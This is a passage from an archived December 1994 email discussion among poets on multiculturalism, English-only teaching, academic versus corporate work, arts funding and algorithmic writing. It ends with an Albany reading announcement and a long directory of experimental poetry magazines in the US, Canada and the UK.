the new Penguin anthology, _Unsettling America: An Anthology of Contemporary Multicultural Poetry_. I'm above all struck by the fact that (and my look was cursory) all the poems are in standard English. Well, there are a few Spanish words here and there . . . But I've found myself, as a contemporary poetry person, teaching poems in Hawaiian pidgin, as well as poems written in Hawaiian that are translated on the facing page. The idea of "teaching" poems in a language that I don't know, but my students do, does have a certain absurd appeal to it, but hardly seems ideal, except insofar as the students gain from the task of explaining words and cultural references to me. Surely there's American literature out there in Spanish, in Chinese, in Yiddish, and so on that belongs in a "multicultural anthology."

This brings me back to a question about the function of the university, with its emphasis, linguistic and actual, on "uni"fying knowledge. And the nationalistic function of privileging English (in part through the mere fact that someone like me doesn't speak pidgin, not being from the place where I'm teaching) over other languages that Americans speak. How would hiring practices (so much on English departments' minds this time of year) be affected by a re-evaluation, or revaluation, of this language question? I was intrigued by someone's comment about how Newt and his pals are beginning with a cultural agenda, rather than an economic one. The English-only movement will surely get a shot in the arm. What ARE the alternatives to English-only classrooms? Also with Ron Silliman's claim that American poets are "internationalist." When I'm optimistic I think so, but when I pick up an anthology like the multicultural one, I wonder if we're even being true to the internationalism that exists inside the US.

I'm also thinking about Peter Quartermain's and Charles Bernstein's essays on the effect of non-native speakers on American literature in English. It might bear looking at this effect in contemporary circumstances, as well as in the cases of Stein and Williams. To say nothing of the effect of American literature on native Hawaiian literature (much of it oral, and hence not "literature" at all). Does anyone know of such a thing?

And, not to be too uni-centric, I'd be curious to hear how corporations are dealing with issues like this.

We've been having trades of up to 40 mph for the past several days and, all things being relative, it's freezing. Keeps us at our computer screens.

Susan

↑ Index

186. Ron Silliman
Re: Academy, etc.
Wed 14 Dec 1994

Tom Mandel wrote:

> *Where, by th eway, are all these posts advising anyone that is better to work in the corporate world (better for who and what). I haven't noticed any.*

I agree completely.

==========
Ron Silliman
1819 Curtis Street
Berkeley, CA 94702-1617

[redacted] (home)
[redacted] (office)
[redacted] (fax)
[redacted]
[redacted]
==========

↑ Index

187. James Sherry
Re: haoles
Wed 14 Dec 1994

Listening to the background noise of the internet this morning, I noticed, although I haven't read all 100 messages in my inbox that there is both an internationalist and a multi-cultural trend which ought to be able to find common ground. As Steve Evans evinced, the international issue is vital to our future as writers, but how can we writers be international in one language, even if it is English? If English is the world language of today, it is so to an elite and their supporters. Multiculturalism represents the values of unique cultures and their languages. If we follow a multicultural trend, we will continue to celebrate our differences as long as they are celebratory and fall to fighting about the relative values of our uniqueness when we feel threatened or have genuine differences. Yugoslavia, Somalia, Ruwanda, Southern Russia, the list is as long as there are conflicts.

Of course it makes sense that Newt has a cultural agenda. If he supports a culture, it will support him, but is this the last gasp of nationalism. Not by a long shot. Not until a manageable number of languages, say two or three have taken over the globe, transparent currency exchanges are a fact of daily life,

and the world bank dictates environmental policy in supposedly sovereign states can transnationalism be said to have taken over the world in any kind of successful way.

What, you say, all that is already true? Well, I'll be.

Susan Schultz: International corporations are controlled by multi-lingual managers who do not view having to switch from one to another as an imposition or as a threat to their personal identity and that of their families, but as means of control, because they can and frankly because they must. That's the value of multi-culturalism--we must speak to each other.

But most of the values of our literatures are based in a specific language, aligning writers with national or language-centered movements. A real dilemon, I'd say, because no matter how good you are at two or even three languages, your best shot in a foreign lanugage is facile or based on a limited vocabulary and set of resonances. Where is the poly-semous complexity that we all revel in when we speak English, if we have to be multi-lingual. Even then the marginal languages get disappeared.

In NY for example my German supervisor speaks English and is excited about using idiom. In Hawaii I hear the universe-ity is afraid of the influence of native language. Any wonder where the power is?

Rereading this I guess a lot of it is obvious, but the issues for poets are difficult, challenging some of our dearest assumptions.

↑ Index

188. Tom Mandel
Re: Univeral Blisters/Individual Burns
Wed 14 Dec 1994

> And Mr. Sherry's predictions have the exact value of the nightly weather report.

↑ Index

189. James Sherry
Re: Experiments List
Wed 14 Dec 1994

I'd like to add one modest experiment to the list Charles compiled:

Homophobic Translation. Take any e-mail you disagree with and respond to it high-handedly, concealing any confusion you might have on the subject. Insist on a tone that will demolish rather than convince your phantom adversary of another point of view. Cover your tracks with ad hominem attacks on anyone

who might have disagreed with you on any subject. Be especially careful that these attacks do not touch on any of the values or issues on which your imagined opponent might be correct. Ignore any attempt to sidetrack the putative argument with reason, fact, or personal concerns. Throw is a lot of obscure references to books you have read in pre-publication galleys. Alternatively, coopt the issue instead of disagreeing with it using humiliating imitations. Alternatively, put your name on the ideas of others until you get taken to court and are vindicated by huge advances for your next book. Experimentation is such fun.

↑ Index

190. Pierre Joris

Re: Academy, etc.

Wed 14 Dec 1994

Tom, (& Ron, who concurred with:
>
> in reply to Pierre Joris:
>
[stuff deleted]
>
> Where, by th eway, are all these posts advising anyone that is
> better to work in the corporate world (better for who and what).
> I haven't noticed any.
>
> Tom Mandel
>
Where indeed? I haven't noticed any either! What I wrote was that the "discussion of where its better to work, corp vs a.k.adamn" was getting ever so slightly wearisome...unless I dreamed it, there was discussion on the comparative merits of working for corporations versus working in academia?

Pierre

========== Pierre Joris | Dept. of English | "La poesie ne s'impose plus, elle s'expose." SUNY Albany | Paul Celan Albany NY 12222 | tel&fax:[redacted] | email: | "He who leaves a trace, leaves an abcess." [redacted]| Henri Michaux ==========

↑ Index

191. Chris Stroffolino
Re: Academy, etc.
Wed 14 Dec 1994

No, Pierre, you didn't dream it, or I did too (and certainly there's no santa claus) but WHAT A DRAG--you think on a poetics list, especially one featuring many writers known for their problematizing of the old lyric "I" and its bulky humanistic cult of personalities, there'd be less "personality battles," less egomongering territorial pissing and at least some attention to, dare I say it, "poetry" or at least rockmusic in a way that isn't merely bitter like the comments on the Rolling Stones that imply a kind of dry smug superiority (that I am probably totally guilty of here). (By the way--there's a typo in the second line of this note--I meant "you'd think" not "you think"--"you" as in "one") Chris Stroffolino

↑ Index

192. Chris Stroffolino
Re: ASSORTED
Wed 14 Dec 1994

Dear Rodger Kamenetz--Not that I disagree with you about the value of fighting the enemy within (and fighting fighting for that matter, to get to a place that's unexpressable), but surely the enemy "out" there is not merely an ASSUMPTION--some of us can no longer afford the luxury to assume an ontology in which an INDIVIDUAL's interests are totally oppossed to the interests of a collectivity, I think it's a question not so much of compromise in its bandaid-on-the-wound sense, but of realizing that we are "always already" social, even in "meditation" which can also be "a weapon", right?

↑ Index

193. James Sherry
Re: Univeral Blisters/Individual Burns
Wed 14 Dec 1994

"The only legitimate news is the weather."

↑ Index

194. Loss Glazier
Re: awol
Wed 14 Dec 1994

A note to announce that information about AUSTRALIAN WRITING ONLINE has been posted in the Small Press Alcove in the Electronic Poetry Center.

↑ Index

195. George Bowering
Re: AMERICA: A PRAYER
Wed 14 Dec 1994

By "America," I take it, most of the people online here mean the U.S.

I wrote a prayer many years ago. It goes

"Lord, if I have but one life to live,

I hope this ain't it."

↑ Index

196. w.curnow
Re-Academy
Wed 14 Dec 1994

Tom Mandel wrote:

> Where are all these posts advising anyone that it is better to work in the corporate world (better for who and what)

And Ron Silliman (Dec.l4) quickly seconded this claim that there have been none such.

So I asked my secretary to go through the dept. e-mail files and to see if he could find any. And to have the report on my desk at his first opport- unity.

The situation seems to be as follows: on Dec. 6 Ron fired off a post in which he said there was more collaborativeness in the corporate world than in the university world. I.e. on that score (what) the corporation would be better for academics (who). Also on the score of knowing what was really going on in the economy --a must for anti-capitalists. The following day, Tom, himself posted to the effect that the world of commerce was more open, egalitarian, permissive of range than the university world. And that when you got sacked from your job in business at least it was for a good reason. On Dec. l2 James Sherry, suggested that corporations treated workers better in comparable positions than universities.

Well, Tom & Ron, you do make some good points.

I'd like to hear more about the not WORKING for LIVING option. I don't suppose there are too many on the List. About PRIVATE MEANS and how to come by them. There 's not much history in this discussion, but I believe the Modernists , especially those expatriates living in Europe, had great access to such means. Is there a book on patronage and the avant-garde? I am, of course, aware that the issue for many is whether it is more dishon- ourable to work for

business or the university, and that taking money from aristocrats or magnates as they used to be called, may be even more dis- honourable, but isn't the question: is it possible in this culture to be a full poet, to work for a living as a artist, important to the discussion ?

Here there a few residences and fellowships which allow poets a year now and then (the residences are at the universities, and academics who happen to be poets can't apply!), but the full-time artists I know are painters and sculptors. That's a clear distinction, and a pretty recent one here: visual artists can live off their work, poets can't. They need a day job (which is ho Bruce Andrews described his university position to me).

Wystan.

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197. Michael Boughn

Re: Re-Academy

Thu 15 Dec 1994

Thank you Wystan Curnow, for setting the record straight. I was beginning to think I had dozed off at the screen and dreamt it all. I mean I know I dozed off at the screen, but I could have sworn it was in the midst of some strange corporate/university competition.

As for "PRIVATE MEANS and how to come by them", the two time honored methods are: 1) inherit it, 2) marry it. If these two methods are unavailable to you, then all that's left, I think, is to schlepp through it with the rest of us. Alas and alack.

Best,
Mike
[redacted]

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198. Rodger Kamenetz

Re: ASSORTED

Thu 15 Dec 1994

Whoah Chris-- I never opposed the individual to the group. No luxury ontology here- just an economy model-- fueled by clarity and compassion rather than rage, hatred and projection. Rodger Kamenetz

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199. **Steve Evans**
Re: NEA ???
Thu 15 Dec 1994

Along with scenarios Charles Alexander
mentioned vis-a-vis the latest attack
on the NEA, I have also heard that the
Newtuplicans are thinking of applying
their standard procedure--defederalizing
the NEA by turning arts funding (along
with welfare, etc.) over to the states.

Could you, Charles, make time to report
on Sunday's proceedings to the list? Also,
has anyone learned of the Literary Network's
strategy for defending the program?

Steve

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200. **Tom Mandel**
Re: Academy, etc.
Thu 15 Dec 1994

Pierre The more I think about your last few posts, the more obvious it becomes to me that you are trying to cover your tracks after having more or less invited the whole list over to your house (humor, chuckle). I think we shd return to that notion and salute you for issueing the invitation. What a wonderful idea to unite all these virtual entities in a veritable cook-out say sometime next spring. Think about it, y'all. Set a date.

tom

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201. **Tom Mandel**
Re: Re-Academy
Thu 15 Dec 1994

well, what I said was that *I* had been fired for good reasons; others may not have the same stake to claim.

tom

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202. **Tom Mandel**
Re: Univeral Blisters/Individual Burns
Thu 15 Dec 1994

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re "The only legitimate news is the weather."

Because the predictive failure rate is so high...

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203. **Robert Drake**
Re: NEA ???
Thu 15 Dec 1994

> *has anyone learned of the Literary Network's strategy for defending the program?*

The Literary Network was largely a one-woman project (Lisa Cooley), and as far as i know, when she left in the spring, the thing went on the back burner...

and, while i'm a fan of newts (& efts) & not of Newt, i'm no big fan of the NEA, either... do they really contribute all that much to non-mainstream culture?

luigi

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204. **John Cayley**
Re: Experiments
Fri 16 Dec 1994

I've read through and felt challenged by the experiwhat? discussions on and off for some time now. Yes, it is quite wrong to fall into the trap of using the word glibly. Still, metaphors are there precisely to extend the range of words, to allow us to use them where they both do *and* do not signify what we previously agreed they signified.

I produce texts based on procedures and algorithms similar to those in Charles B's splendid list. The use of such procedures is of course not new, but in this (the network) context we should be much more aware of the tools now available which allow us to make literary experiments using such techniques in 'real time'. Until recently we've known about these procedures and when we've felt ludic we've sat down with siccors and paste. Now, with a little more trouble, you can learn a simple programming language and do the same. But once you've done this, the process of compostion, perhaps of writing itself has shifted to a new site. With a machine I can get feedback from the results of my

procedures quick enough to adjust them according to non-arbitrary criteria. I can make my algorithms 'learn' more about the given texts and/or my responses to them. I can re-write the given texts so that they are better modulated by the algorithms. This is similar to experimental processes, isn't it? Finally, and importantly, I can provide suitably equipped readers with as-it-happens-but-never-the-same-twice performances of the procedures which they can 'read' on their own screens.

> *Don Byrd wrote:*
>
> *After a certain point, chaos no longer needed the help of art. To recall wild nature in tranquility, to practice nihilistic techniques of art and thought, to do automatic writing, or to create chance generated art is a pointless gesture.*

All I can say is why so? I do not feel that I am making a pointless gesture. Even if all that was obtainable from such procedures was a more liberated approach to the literary experience, they would still be worthwhile. Personally I believe they are adequate compostional strategies with the potential to produce significant art.

> *It seems to me that these experiments at this late date call us back to means that are as exhausted as the means of a poetry that still attempts to make "ordinary" sense of a world where one watch a blue jay crap and thinks of mortality or Aunt Minnie.*
>
> *If we are going to experiment, let us experiment with all seriousness.*

I do undertake these (?) experiments in all seriousness. I compose the algorithms and choose or write the underlying texts. I intend to produce something that is fascinating, perhaps beautiful, and that has significant content. Apart from the form and content of the resulting texts themselves, I believe the processes are of theoretical interest (even when using very simple algorithims such as those in Charles' list) in relation to questions of _Language as Choice and Chance_ (title of a book on mathematical grammars by G. Herdan), and the nature of meaning (it's strange resistance to semi-arbitrary processes). If it doesn't work, I can go back to the writing board. It is precisely the late date of this practice that allows me to develop it in this way.

John Cayley Wellsweep Press [in Chinese HZ:]
Tel & Fax: 0[redacted] Email: [redacted]

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205. **Pierre Joris**
Re: Academy, etc.
Fri 16 Dec 1994

Tom, re your last message:
>
> Pierre
> The more I think about your last few posts, the more
> obvious it becomes to me that you are trying to cover your tracks
> after having more or less invited the whole list over to your
> house (humor, chuckle). I think we shd return to that notion
> and salute you for issueing the invitation. What a wonderful
> idea to unite all these virtual entities in a veritable cook-out
> say sometime next spring. Think about it, y'all. Set a date.
>
> tom
>
what a nice attack ad hominem et domum eis (or shld that be suum?)!
But why wait for spring? Here (see below) is the occasion, this very
January. A read-in & a cook-in, with hilaritas as m.c.-- should you want
to haul veritable ass out of virtual land & over here to Nueva
Albania. _Pace_ the dis- & in-corpserations, the hackedemias & medias,
over here we do still experiwhatever, write new menus & cook the
books.

Pierre

JANUARY 19-21, 1995 / Albany, NY

p r e s e n t (a t i o n s o f) the f u t u r e

We are circulating this announcement to let people know of a very informal gathering of active "poets" in Albany in January 1995. Organizers are associated with the University at Albany's literary journal, The Little Magazine. However, it is a non-university sponsored event, and will exit in the tones in which those involved choose to conduct it (a few miles away from campus). We can provide some places for people to stay for a couple of nights, and may be able to offer some "gas money". If you are interested in presenting your work and presence, please contact us as soon as possible (i.e. RSVP) via phone ([redacted]) or mail (c/o Belle Gironda 730 Morris St. Albany NY 12208).

1/19 (thursday)

-morning WRPI radio-- on air reading(s)

1/20 (friday)

-afternoon presentations/discussion regarding "The Future &'Poetry'" (Albany Public Library)

-evening informal reading(s) at Pierre & Nicole's/interactive poetry w/Nuyorican Poets Cafe, NYC

1/21 (saturday)

-early afternoon presentations/discussion > poetics/technology (Albany Public Library)

-late afternoon / early evening public reading (Mother Earth's Cafe)
(includes dinner)

Bonfire TBA

1/22
-late morning bagel brunch at Don's

This schedule can and will be expanded in response to your interest(s) and input. We hope to hear from you!

Chris Funkhouser
editor, The Little Magzine
12 December 94

========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother. ==========

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206. Pierre Joris
Re: AMERICA: A PRAYER
Fri 16 Dec 1994

"My Father who art in heaven, stay there, damn it."

========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry.

You tel&fax:[redacted] | need not tell anyone, for you know how email:
| such things get around." [redacted]| --Mrs. Melville in a letter to her mother.
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207. **Donald J. Byrd**
Re: Experiments
Fri 16 Dec 1994

John Cayley is under the impression that seriousness is rather like intent, some soulful condition that one adopts at the moment of rolling the dice or whatever. Wittgenstein's cogent argument on intent, I believe, applies here as well.

Seriousness rather is a matter of consequences. To be sure, any one who finds algorithmic and aleatory modes of creation useful should use them. I find them useful a pedagogical tools, generally for the purpose of un-educating people who have learned wrong-headed lessons too well.

Likewise, I think the kind of poem practiced by the official verse culture might be important for personal use, such as therapy, for example. There is a vast amount of personal material that might be usefully made objective by poetic means. (The young man who held a course in Greek culture here in Albany hostage this week believed that the police were embedding computer chips in his penis. Obviously, he needed to call attention to this fact, and he used a gun. In less extreme cases a certain kind of writing might serve as well.)

Don Byrd

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208. **Spencer Selby**
Re: Exp mag list
Fri 16 Dec 1994

Charles B. has asked me to send my magazine list to all participants here. I am happy to oblige, as free circulation of info is what this is all about. I am interested in feedback (especially updates for the list) but please don't ask me to engage in arguments or discussion about the term "experimental." I've used it for want of something better, not because I feel committed to it as a meaningful or accurate label.

List of Experimental Poetry/Art Magazines P.O. Box 590095 San Francisco CA 94159 U.S. MAGAZINES ### ABACUS, Peter Ganick, 181 Edgemont Ave, Elmwood CT 06110 ### AERIAL, Rod Smith, Box 25642, Wash D.C. 20007

AMERICAN LETTERS AND COMMENTARY, Jeanne Beamont & Anna Rabinowitz, 850 Park Avenue Suite 5B, NY NY 10021 ### APEX OF THE M, Box 247, Buffalo NY 14213 ### ARRAS, Brian Kim Stefans, 336 W. 19th St #22, New York, NY 10011 ### ARSHILE, Mark Salerno, Box 26366, L.A. CA 90026 ### ARTCRIMES, 2672 West 14th St, Cleveland OH 44113 ### ASYLUM, Greg Boyd, Box 6203, Santa Maria CA 93456 ### ATELIER, Sarah Jensen, Box 580, Boston MA 02117 ### AVEC, Cydney Chadwick, Box 1059, Penngrove CA 94951 ### B CITY, Connie Deanovich, 517 North Fourth St, Dekalb IL 60115 ### BIG ALLIS, Jessica Grim, Melanie Neilson, 136 Morgan St., Oberlin OH 44070 ### BLACK BREAD, Sianne Ngai, Jessica Lowenthal, 366 Thayer St. #3, Providence RI 02906 ### BLADES, 182 Orchard Rd, Newark DE 19711 ### BLUE RYDER, Ken Wagner, Box 587, Olean NY 14760 ### THE BOMB, Ben Baxter, 719 Almond St, Nampa ID 83686 ### BOMBAY GIN, Naropa Institute, 2130 Arapahoe Ave, Boulder CO 80302 ### BUGHOUSE, Doug Blumhardt, Eric Peterson, Box 4817, Albuquerque NM 87196 ### BULLHEAD, Joe Napora, 2205 Moore St, Ashland KY 41101 ### CALIBAN, Lawrence Smith, Box 561, Laguna Beach CA 92652 ### CAMELLIA, Tomer Inbar, Box 417 Village Station, N.Y. NY 10014 ### CATHAY, Gale Nelson, 11 Slater Avenue, Providence RI 02906 ### CENTRAL PARK, Stephen Paul Martin, Eve Ensler, Box 1446 NY NY 10023 ### CLWN WR, Box 2165, Church St Station, NY NY 10008 ### COMPOUND EYE, Ange Mlinko, 10 Eliot #2, Somerville MA 02143 ### CONJUNCTIONS, Bradford Morrow, 33 W. 9th St., NY NY 10011 ### COTTON GIN, Chris Stafford 3408 Burlington Rd., Greensboro NC 27405 ### CROTON BUG, Bob Harrison, Box 1116, Milwaukee WI 53211 ### CWM, 1300 Kicker Rd., Tuscaloosa AL 35404 ### CYANOSIS, Darin De Stefano, 318 Mendocino Ave, Suite #30, Santa Rosa CA 95404 ### DADA TENNIS, Bill Paulauskas, Box 10, Woodhaven Ny 11421 ### DENVER QUARTERLY, Bin Ramke, Dept of English, U. of Denver, Denver CO 80208 ### DIE YOUNG, Skip Fox, English Dept, Univ. of Southwestern Louisiana, Lafayette LA 70504 ### DREAMTIME TALKING MAIL, Miekal And, Liz Was, Rt 1 Box 131, Lafarge WI 54639 ### DRIVER'S SIDE AIRBAG, Mike Halchin, Box 25760, L.A. CA 90025 ### DROP FORGE, Sean Winchester, PO Box 7237, Reno NV 98510 ### ELEPHANT, Douglas Messerli, 6026 Wilshire Blvd, Los Angeles CA 90036 ### EXILE, 149 Virginia St #7, St Paul MN 55102 ### EXPERIODICIST, Jake Berry, Box 3112, Florence AL 35630 ### EXQUISITE CORPSE, Box 25051, Baton Rouge LA 70894 ### FIRST INTENSITY, Lee Chapman, Box 140713, Staten Island NY 10314 ### FISH WRAP, Jim Maloney, 921&1/2 24th Ave, Seattle WA 98122 ### FIVE FINGERS REVIEW, Box 15426, San Francisco CA 94115 ### FOUND STREET, Larry Tomoyasu, 2260 S. Ferdinand Ave., Monterey Park CA 91754 ### GENERATOR, John Byrum, 8139 Midland Rd., Mentor OH 44060 ### GRIST ON-LINE, Box 20805, Columbus Circle Station, New York NY 10023

HAMBONE, Nathaniel Mackey, 134 Hunolt St. Santa Cruz CA 95060 ### HEAVEN BONE, Steven Hirsch, Box 486, Chester NY 10918 ### HOUSE ORGAN, Kenneth Warren, 1250 Belle Avenue, Lakewood OH 44107 ### I AM A CHILD, William Howell, 418 Richmond Ave. #2, Buffalo NY 14222 ### THE IMPERCIPIENT, Jennifer Moxley, 61 E. Manning, Providence RI 02906 ### THE IMPLODING TIE-DIED TOUPEE / MISSIONARY STEW Keith Higgenbotham & Tracy Combs, 100 Courtland Drive, Columbia SC 29223 ### INDEFINITE SPACE, Marcia Arrieta, Box 40101, Pasadena CA 91114 ### INTERRUPTIONS, Tom Beckett, 131 N. Pearl St., Kent OH 44240 ### JUXTA, Ken Harris, Jim Leftwich, 977 Seminole Trail, Charlottesville VA 22901 ### KIOSK, Nick Gillespie, 306 Clemens Hall, S.U.N.Y, Buffalo NY 14260 ### LETTERBOX, Scott Bentley, 3791 Latimer Pl., Oakland CA 94609 ### LIFT, Joseph Torra, 10-R Oxford St (Rear), Somerville MA 02143 ### LILLIPUT REVIEW, Don Wentworth, 207 S. Millvale Ave #3, Pittsburgh PA 15224 ### LINGO, Jonathan Gams, Michael Gizzi, Box 184, West Stockbridge MA 01266 ### LOGODAEDALUS, Paul Weidenhoff & W.B. Keckler, Box 14193, Harrisburg PA 17104 ### LONG BEACH GUTS-ETTE, Box 2730, Long Beach CA 90801 ### LONG NEWS, Barbara Henning, Box 150-455, Brooklyn NY 11215 ### LOST AND FOUND TIMES, John M. Bennett, 137 Leland Ave, Columbus OH 43214 ### LOWER LIMIT SPEECH, A.L. Nielsen, 1743 Butler Ave #2, L.A. CA 90025 ### LYRIC&, Avery Burns, Box 640531, San Francisco CA 94164 ### MA!, David Kirschenbaum, Box 221, Oceanside NY 11572 ### MALCONTENT, Laura Poll, Box 703, Naversink NJ 07752 ### MALLIFE, Mike Miskowski, Box 17686, Phoenix AZ 85011, ### MEAT EPOCH, Gregory Vincent St Thomasino, 3055 Decatur Ave Apt 2-D, Bronx NY 10467 ### MIRAGE #4/PERIOD(ICAL), Kevin Killian & Dodie Bellamy, 1020 Minna St, San Francisco CA 94103 ### NEW AMERICAN WRITING, Maxine Chernoff & Paul Hoover, 2920 West Pratt, Chicago IL 60645 NORTH AMERICAN IDEOPHONICS, Mark Nowak, Box 13561 Minneapolis MN 55414 ### O.ARS. Don Wellman, 21 Rockland Rd., Weare NH 03281 ### OBJECT, Robert Fitterman & Kim Rosenfeld, 229 Hudson St #4, NY NY 10013 ### OBLEK, Connell McGrath, Box 1242, Stockbridge MA 01262 ### OPEN 24 HOURS, Buck Downs, Box 50376, Washington D.C. 20091 ### O!!ZONE, Harry Burrus, 1266 Fountain View Dr. Houston TX 77057 ### PAPER RADIO, Neil Kvern, Box 4646, Seattle WA 98104 ### PARADOX, Dan Bodah, Box 643, Saranac Lake NY 12983 ### PAVEMENT SAW, David Baratier, 7 James St., Scotia NY 12302 ### POETIC BRIEFS, Jefferson Hansen & Elizabeth Burns, 31 Parkwood St #3, Albany NY 12208 ### POETRY USA, Jack Foley, 2569 Maxwell Ave, Oakland CA ### PRIVATE ARTS, D. R. Heniger, 600 S. Dearborn #2209, Chicago IL 60605 ### PROSODIA, New College of California, 766 Valencia San Francisco CA 94110 ### RE*MAP, Carolyn Kemp & Todd Baron, 8270 Willoughby Ave, Los Angeles CA 90046 ### RIBOT, Paul

Vangelesti, Box 65798, Los Angeles CA 90065 ### ROOMS, 652 Woodland Ave., San Leandro CA 94577 ### SHATTERED WIG REVIEW, Rupert Wondolowski, 2407 N. Maryland #1, Baltimore MD 21218 ### SITUATION, Mark Wallace, 10402 Ewell Ave, Kensington MD 20895 ### 6IX, 914 Leisz's Bridge Rd, Reading PA 19119 ### SPLIT CITY, Jim Lang, Box 110171, Cleveland OH 44111 ### SUBTLE JOURNAL OF RAW COINAGE, Geof Huth, 875 Central Pkwy, Niskayuna, NY 12309 ### SULFUR, Clayton Eshleman, English Dept, Eastern Michigan U., Ypsilanti MI 48197 ### SYN/AES/THE/TIC, Alex Cigale, 178-10 Wexford Terrace Apt 3D, Jamaica NY 11432 ### TALISMAN, Ed Foster, Box 1117, Hoboken NJ 07030 ### TAPROOT REVIEWS, Luigi Bob Drake, Box 585, Lakewood OH 44107 ### TENSETENDONED, M.B. Corbett, Box 155, Preston Park PA 18455 ### TEXTURE, Susan Smith Nash, 3760 Cedar Ridge Drive, Norman OK 73072 ### TIGHT, Ann Erickson, Box 1591, Guerneville CA 95446 ### TIN WREATH, David Gonsalves, P.O. Box 13491, Albany NY 12212 ### TO, Seth Frechie & Andrew Mossin, Box 121, Narberth PA 19072 ### TORQUE, Liz Fodaski, Box 118, Canal City Station, N.Y. NY 10013 ### TRANSMOG, Ficus Strangulensis, Route 6 Box 138, Charleston WV 25311 ### TRIAGE, Box 1166, Sterling Heights MI 48311 ### TRIANGLE SHIRTWAIST FIRE, Philip Good, 675A West Mombasha Rd, Monroe NY 10950 ### TURBULENCE, David Nemeth, Box 40, Hockessin DE 19707 ### TYUONYI, Phillip Foss, Box 23266, Santa Fe NM 87502 ### VIZ, 117 Front St., Hattiesburg MS 39401 ### UMBRELLA, Judith Hoffberg, Box 40100, Pasadena CA 91114 ### VOLT, Gillian Conoley, 4104 24th St #355, San Francisco CA 94114 ### VORTEXT, Ezra Mark, Box 23194 Seattle WA 98102 ### THE WASHINGTON REVIEW, Joe Ross, Box 50132, Washington D.C. 20091 ### WHITEWALL OF SOUND, Jim Clinefelter, 1320 W. 116th #9, Cleveland OH 44102 ### WITZ, Christopher Reiner, 10604 Whipple St, Toluca Lake CA 91602 ### W'ORCS/ALOUD ALLOWED, Ralph LaCharity, Box 27309, Cincinnati OH 45227 ### THE WORLD, Lewis Warsh, Poetry Project at St Mark's, 10th St & 2nd Ave, NY NY 10003 ### WORLD LETTER, Jon Cone, 2726 E. Court, Iowa City IA 52245 ### WRAY, V. Marek & J. Welch, Box 91502, Cleveland OH 44101 ### XIB, Tolek, Box 26112, San Diego CA 92126 ### X-RAY MAGAZINE, Johnny Brewton, Box 170011, San Francisco CA 94117 ### YEFIEF, Ann Racuya-Robbins, Box 8505, Santa Fe NM 87504 ### ZYX, Arnold Skemer, 58-09 205th St, Bayside NY 11364 ### CANADIAN MAGAZINES ### BRITISH COLUMBIA MONTHLY, Gerry Gilbert, Box 48884, Station Bent., Vancouver, B. C. V7X 1A8 ### CABARET VERT, Beth Learn, Box 157 Station P, Toronto Ontario M5S 2S7 ### COLLECTIF REPARATION DE POESIE, Jean-Claude Gagnon, 359 rue Lavigueur # 1, Quebec, Quebec G1R 1B3 ### CRASH, Maggie Helwig, Box 562, Station P, Toronto Ontario M5S 2T1 ### ESPACE GLOBAL, Alain-Arthur Painchaud, 755 Est Avenue Mont-Royal, Montreal,

Quebec H2J 1W8 ### HOLE, Louis Cabri, 123 Irving Ave., Ottawa, Ontario K1Y 1Z3 ### INDUSTRIAL SABOTAGE, 1CENT, SPUDBURN, J.W. Curry, 1357 Landsdowne Rd, Toronto, Ontario M6H 3Z9 ### JONES AV, 88 Dagmar Av, Toronto, Ontario M4M 1W1 ### OVERSION, John Barlow, 1069 Bathurst St (3rd Floor) Toronto Ontario M5R 3G8 ### PARAGRAPH, Beverly Daurio, 137 Birmingham St, Stratford, Ontario N5A 2T1 ### POETRY THREAT, Clint Burnham, 1-269 Augusta Ave, Toronto Ontario M5T 2M1 ### PUSH MACHINERY, Daniel Bradley, 30 Gloucester St #1005, Toronto, Ontario M4Y 1L6 ### RADDLE MOON, Susan Clark, 2239 Stephens St, Vancouver B.C. V6K 3W5 ### SIN OVER TAN, Box 153 Station P, Toronto, Ontario M5S 2S7 ### STAINED PAPER ARCHIVE, Gustave Morin, 1792 Byng Road, Windsor, Ontario N8W 3C8 ### TONGUE TIDE, Tom Snyders, [redacted] Granville St, Vancouver, B.C. V6Z 1L4 ### WHO TORCHED RANCHO DIABLO,MONDO HUNKAMOOGA, Stuart Ross, Box 141, Station F, Toronto, Ontario M4Y 2L4 ### ZAG, Steve Banks, 69R Nassau St, Toronto, Ontario M5T 1M6 ### U.K. MAGAZINES ### ACTIVE IN AIRTIME, Ralph Hawkins, 53 East Hill, Colchester, Essex CO1 3QY ### AND, Bob Cobbing, 89A Petherton Rd, London N5 2QT ### ANGEL EXHAUST, Andrew Duncan, 2 Lovelace Gardens, Southend-on-Sea SS2 4NU ### EONTA, 27 Alexandra Rd, Wimbledon, London SW19 7IJ ### FIRE, Chris Ozzard, 3 Holywell Mews, Hollywell, Malvern, Worcs WR14 1LF ### FIRST OFFENSE, Tim Fletcher, Syringa, The Street, Stodmarsh, Canterbury, Kent CT3 4BA ### FRAGMENTE, Anthony Mellors, Flat 11 Landsdown House, Wilmslow Rd, Didsbury Village, Manchester M20 6OJ ### GRILLE, Simon Smith, 53 Ormonde Court, Upper Richmond Rd., Putney London SW15 5TP ### INTERFERENCE, Michael Gardner, Wadham College, Parks Rd, Oxford OX1 3PN ### INTIMACY, Adam McKeown, 4 Bower St, Maidstone, Kent ME16 8SD ### OASIS, Ian Robinson, 12 Stevenage Rd., London SW6 6ES ### OBJECT PERMANENCE, Peter Manson & Robert Purves, Flat 3/2 16 Ancroft St, Glasgow Scotland 7HU G20 ### OSTINATO, Box 522, London N8 7SZ ### PAGES, Robert Sheppard, 239 Lessingham Ave, London SW17 8NQ ### PARATAXIS, Drew Milne, School of English Studies, Arts Building, Univ of Sussex, Falmer, Brighton BN1 9NQ ### PURGE, Robert Hampson, 88 Ashburnham Rd, London NW10 5SE ### RAMRAID EXTRAORDINAIRE, Kerry Sowerby, 2 Midland Rd., Hyde Park, Leeds LS6 1BQ ### RESPONSES, Periera & Rollinson, Minister College, Minister Rd, Isle of Sheppey, Kent ME12 3JQ ### RWC, Lawrence Upton, 16 Southview Ave, Caversham, Reading RG4 0AD ### SHEARSMAN, Tony Frazer, c/o Hong Kong & Shanghai Bank, Macau Mgt Office, Box 476, Macua ### SPANNER, Allen Fisher, 14 Hopton Road, Hereford HR1 1BE ### STRIDE, Rupert Loydell, 11 Sylvan Rd, Exeter, Devon EX4 6EX### TALUS, Marzia Balzani & Shamoon Zamir, Dept of English, King's College, Strand, London WC2R 2LS ### 